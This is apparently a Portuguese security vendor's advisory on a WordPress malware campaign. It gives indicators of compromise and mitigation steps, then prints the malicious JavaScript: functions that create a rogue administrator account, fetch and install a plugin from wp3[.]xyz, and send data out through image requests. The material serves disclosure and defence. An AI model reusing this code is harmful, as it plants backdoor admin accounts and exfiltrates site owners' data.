Descobrimos uma campanha generalizada de malware direcionada a sites WordPress, afetando mais de 5.000 sites globalmente.
O domínio malicioso: https://wp3[.]xyz/td.js.
Um dos nossos usuários foi afetado. O cside detectou e interrompeu o ataque.

Ainda não está claro como os scripts entraram nos sites. Até agora, não identificamos um denominador comum, e nossa investigação está em andamento.
Sabemos que o script cria contas de administrador não autorizadas com um nome de usuário e senha que podem ser encontrados no código.
- Nome de usuário: wpx_admin
- Senha: [REDACTED]
Após criar a conta, o script baixa um plugin malicioso do WordPress e o ativa no site agora infectado - enviando dados sensíveis para um servidor remoto.
Verifique seu site agora para remover quaisquer contas de administrador não autorizadas e remover quaisquer plugins ou temas não utilizados.
Encontre sites infectados via:
O script em detalhes
Primeiro, o script busca o token CSRF necessário para a requisição. Em seguida, envia uma requisição POST para criar um usuário com credenciais codificadas. Ele registra o status da operação.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY CSIDE]');
formData.append('pass2', '[REDACTED BY CSIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Após o script baixar o plugin obtido de https://wp3[.]xyz/plugin.php, o script o ativa no site infectado. O script se comunica com https://wp3[.]xyz/tdw1.php, enviando dados sensíveis como credenciais de administrador e logs de operação via requisições de imagem ofuscadas.
function sendLog(data) {
const logUrl = 'https://wp3[.]xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Uma vez que o atacante tem acesso de administrador, o script carrega um plugin malicioso. Ele busca o plugin de um servidor remoto e o carrega no site WordPress.
A função installPlugin funciona da seguinte forma:
- Busca a página de upload de plugin para recuperar o token CSRF.
- Baixa o arquivo do plugin malicioso.
- Submete o arquivo do plugin para instalação.
Em seguida, usa as seguintes técnicas:
- Carregando o plugin via: /wp-admin/update[.]php?action=upload-plugin.
- Buscando o plugin de uma fonte externa: https://wp3[.]xyz.
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
O script finalmente verifica se o plugin malicioso foi instalado com sucesso verificando referências a https://wp3[.]xyz no conteúdo do site.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3[.]xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Proteja-se contra este ataque
- Bloqueie o domínio https://wp3[.]xyz em firewalls ou ferramentas de segurança.
- Audite contas de administrador do WordPress para usuários não autorizados.
- Remova plugins suspeitos e valide os existentes.
- Fortaleça as proteções CSRF e implemente autenticação multifator (MFA).
- Considere usar o cside
O usuário infectado executava a versão gratuita do cside. Você pode instalar o cside para proteger seu site em minutos contra este e ataques similares.
O cside faz proxy de todos os scripts para análise em tempo real, alertando e bloqueando os potencialmente maliciosos. Este script buscado de https://wp3[.]xyz/tdw.js foi detectado e bloqueado com sucesso no site do nosso usuário.
Por favor, entre em contato conosco se você estiver preocupado ou quiser migrar para os níveis superiores.
Verifique seu site para todos os administradores, certifique-se de que suas senhas e 2FA estão configurados corretamente. Você pode usar nosso rastreador público para verificar quaisquer scripts potencialmente maliciosos em seu site.




